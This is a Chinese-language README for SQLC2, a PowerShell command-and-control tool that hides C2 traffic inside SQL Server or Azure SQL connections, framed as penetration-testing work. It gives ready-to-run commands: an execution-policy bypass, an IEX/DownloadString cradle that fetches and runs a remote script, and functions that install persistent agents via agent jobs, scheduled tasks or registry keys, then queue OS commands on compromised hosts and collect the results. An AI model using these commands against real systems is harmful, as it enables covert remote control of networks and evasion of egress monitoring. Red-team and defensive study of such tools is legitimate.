SQLC2 是一个 PowerShell 脚本,用于部署和管理一个将 SQL Server 同时作为控制服务器和代理的命令与控制(C2)系统。本质上,SQLC2 只是一个 PowerShell 脚本、一个 TSQL 脚本以及 SQL Server 实例中的几个表,用于跟踪代理、命令和结果。没什么特别花哨的,但在某些渗透测试中可能会派上用场。
有关 SQLC2 的更完整概述,请查看博客文章:https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/。
越来越多的公司开始使用 Azure SQL 数据库。当这些 Azure SQL 实例被创建时,它们会通过 database.windows.net 的子域在 1433 端口上可访问。例如,我可以创建一个名为 "mysupersqlserver.database.windows.net" 的 SQL Server 实例。因此,一些企业网络配置允许对任意 "database.windows.net" 子域在 1433 端口上的出站互联网访问。
总体思路是,随着 Azure SQL Server 的普及,将有更多机会使用 SQL Server 作为看起来像正常流量的控制通道。SQLPS 是一个相当基础的概念验证,但我认为它足以说明这个想法。我知道有很多改进空间,但如果你尝试使用它,我很乐意听取你的反馈。
尽管本文重点介绍的是将 SQLC2 与 Azure SQL Server 实例一起使用,但你也可以在任何云环境中托管自己的 SQL Server,并在 443 端口上启用 SSL 监听。因此,根据你愿意投入的精力,它可能提供更多的灵活性。
选项 1: 下载脚本并导入。这不需要管理员权限,只会导入到当前会话。但是,它可能被限制性的执行策略阻止,因此你可能希望使用绕过选项。
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
选项 2: 通过下载模具加载到会话中。这不需要管理员权限,只会导入到当前会话。它不会被执行策略阻止。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
注意: 若要作为其他域用户运行,请先使用 runas 命令启动 PowerShell。
runas /noprofile /netonly /user:domain\user PowerShell.exe

以下是支持预期工作流的用户函数列表。
以下是几个示例截图。
安装 SQLC2 服务器(创建表):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

安装 SQLC2 代理(使用服务器链接的 SQL Server 代理作业):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

查看 SQLC2 代理:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

在代理上设置要运行的命令:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

获取命令结果:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| 函数名称 | 描述 |
|---|
| Install-SQLC2Server | 在目标 SQL Server/数据库上安装 SQLC2 表。 |
| Install-SQLC2AgentPs | 安装一个使用 SQL Server 代理作业和服务器链接的代理。 |
| Install-SQLC2AgentLink | 安装一个使用计划任务或注册表项执行 PowerShell 命令的代理。 |
| Set-SQLC2Command | 为代理设置要运行的操作系统命令。 |
| Get-SQLC2Command | 从 C2 获取代理待处理的操作系统命令列表。也可使用 -Execute 标志执行待处理命令。 |
| Get-SQLC2Agent | 获取在 SQLC2 服务器上注册的代理列表。 |
| Get-SQLC2Result | 获取待处理和已完成的命令列表。支持 servername、status 和 cid 过滤器。 |
| Remove-SQLC2Agent | 移除在 SQLC2 上注册的代理。仅清除历史记录。 |
| Remove-SQLC2Command | 移除 SQLC2 服务器上的命令历史记录。 |
| Uninstall-SQLC2AgentLink | 卸载使用服务器链接和代理作业的 SQLC2 代理。 |
| Uninstall-SQLC2AgentPs | 卸载所有基于操作系统的持久化方法。 |
| Uninstall-SQLC2Server | 从目标数据库中移除 SQLC2 表。 |